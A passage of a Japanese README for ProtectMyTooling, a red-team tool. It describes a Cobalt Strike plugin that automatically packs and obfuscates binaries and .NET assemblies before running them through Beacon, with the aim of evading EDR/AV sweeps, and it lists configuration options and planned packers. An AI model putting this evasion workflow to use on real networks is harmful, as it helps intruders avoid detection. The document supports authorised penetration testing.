このアイデアは、アップロードされるすべてのバイナリや、execute-assemblyで使用される.NETアセンブリの保護プロセスを自動化し、使用のたびに手動で保護や難読化を行う手間を省くことです。自動化されたアプローチの利点は、同じ実行ファイルを使用するたびに保護され、結果として標的マシン上でユニークなサンプルが起動されることです。これにより、同じアーティファクトを異なるマシンで検索するEDR/AVのエンタープライズ全体のIOCスイープをうまく欺くことができます。
さらに、`protected-execute-assembly` コマンドは、名前のみが指定されたアセンブリを、事前設定されたアセンブリディレクトリ(`dotnet_assemblies_directory` 設定で指定)から検索する機能を持っています。
使用方法:
1. `CobaltStrike/ProtectMyTooling.cna` をCobalt Strikeにロードします。
2. メニューに移動し、すべてのオプションを設定します。

3. Beaconのコンソールで以下のコマンドが使用可能になります。
* `protected-execute-assembly` - ローカルで事前に保護・圧縮された.NETプログラムを標的のメモリ上で実行します。
* `protected-upload` - 入力ファイルを受け取り、それがPE実行ファイルの場合は保護し、指定されたリモートロケーションにアップロードします。
* `bofnet_load_protected` - 入力の.NETアセンブリファイルを受け取り、設定された.NETパッカーチェーンを通過させ、生成された出力を `bofnet_load` でロードします。この機能を使用するには、[BOFNET](https://github.com/CCob/BOF.NET/) を別途ロードしておく必要があります。
基本的に、これらのコマンドは入力ファイルを開き、まず `CobaltStrike/cobaltProtectMyTooling.py` スクリプトに渡し、そのスクリプトが `ProtectMyTooling.py` を呼び出します。バイナリが難読化されるとすぐに、実行/アップロードのためにBeaconに渡されます。
## Cobalt Strike 関連オプション
Cobalt Strike インテグレーターに必要なオプションの一覧は以下の通りです。
* `python3_interpreter_path` - Python3インタプリタの実行ファイルへのパスを指定
* `protect_my_tooling_dir` - ProtectMyToolingメインディレクトリへのパスを指定
* `protect_my_tooling_config` - 様々なパッカーオプションが設定されたProtectMyTooling設定ファイルへのパスを指定
* `dotnet_assemblies_directory` - execute-assemblyでアセンブリが見つからない場合に検索する.NETアセンブリのローカルパスを指定
* `cache_protected_executables` - 有効にすると、既に保護された実行ファイルをキャッシュし、必要なときに再利用する
* `protected_executables_cache_dir` - キャッシュされた保護実行ファイルを保存するディレクトリへのパスを指定
* `default_exe_x86_packers_chain` - ネイティブx86 EXE実行ファイルの保護/パッカーチェーン
* `default_exe_x64_packers_chain` - ネイティブx64 EXE実行ファイルの保護/パッカーチェーン
* `default_dll_x86_packers_chain` - ネイティブx86 DLL実行ファイルの保護/パッカーチェーン
* `default_dll_x64_packers_chain` - ネイティブx64 DLL実行ファイルの保護/パッカーチェーン
* `default_dotnet_packers_chain` - .NET実行ファイルの保護/パッカーチェーン
---
## 既知の問題
- `ScareCrow` をWindowsで実行するのは非常に困難です。私にとってうまくいった方法は次の通りです。
1. Windows 10で実行し、WSLをインストールしておく(`bash.exe` コマンドがWindowsで利用可能)
2. WSLに `golang` をバージョン `1.16+` でインストール(`1.18` でテスト済み)
3. `PackerScareCrow.Run_ScareCrow_On_Windows_As_WSL = True` を設定することを確認
---
## クレジット & 使用技術
- すべてのパッカー、難読化ツール、コンバーター、ローダーのクレジットは各作者に帰属します。本ツールはそれらの技術に対する単なるラッパーです。
- このようなラッパーを追加することについて、各作者が問題にしないことを願っています。懸念がある場合は、私に連絡してください。
- _ProtectMyTooling_ は、一部のNimベースのパッカーで [`denim.exe`](https://github.com/moloch--/denim)(作者:**moloch--**)も使用しています。
---
## TODO
- カスタムPEインジェクターを作成し、「プロテクター」として提供する
- 他のファイル形式(Office文書、WSHスクリプト(VBS、JS、HTA)、コンテナ)にもウォーターマークを追加
- 将来的にさらにいくつかのパッカー/ローダー/ジェネレーターのサポートを追加:
- [`GadgetToJScript`](https://github.com/med0x2e/GadgetToJScript)
- [`Limelighter`](https://github.com/Tylous/Limelighter)
- [`PEZor`](https://github.com/phra/PEzor)
- [`msfevenom`](https://github.com/rapid7/metasploit-framework) - 2種類のバリアント、入力シェルコード用と実行ファイル用
---
## 免責事項
本ツールおよび私が作成した他のプロジェクトを違法な目的、無断ハッキング、サイバースパイに使用することは固く禁止されています。
本ツールおよび私が配布する他のツールは、プロフェッショナルなペネトレーションテスター、セキュリティコンサルタント、セキュリティエンジニア、およびその他のセキュリティ担当者が顧客のネットワークのサイバー防御能力を向上させるために役立ちます。
いかなる場合でも、作者または著作権者は、本ソフトウェアの不正使用から生じるいかなる請求、損害、またはその他の責任についても責任を負いません。
懸念事項、著作権問題、本ソフトウェアによる脅威、その他の問い合わせがある場合は、責任を持って対応するために協力する用意があります。
本ツールは、主にオープンソースまたは市販のパッカー/プロテクター/難読化ソフトウェアを使用するための便利なインターフェースを提供するものであり、サイバーセキュリティの状況に即座に新しい脅威をもたらすものではありません。
---
### ☕ サポートをお願いします ☕
このプロジェクトやその他のプロジェクトは、眠れぬ夜と**多くのハードワーク**の成果です。私の活動を気に入り、常にコミュニティに還元していることを評価していただけるなら、
[コーヒーを一杯ご馳走してください](https://github.com/sponsors/mgeeky) _(またはビールの方がいいかも)_ 感謝の気持ちとして!💪
---
## 作者```
Mariusz Banach / mgeeky, '20-'22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)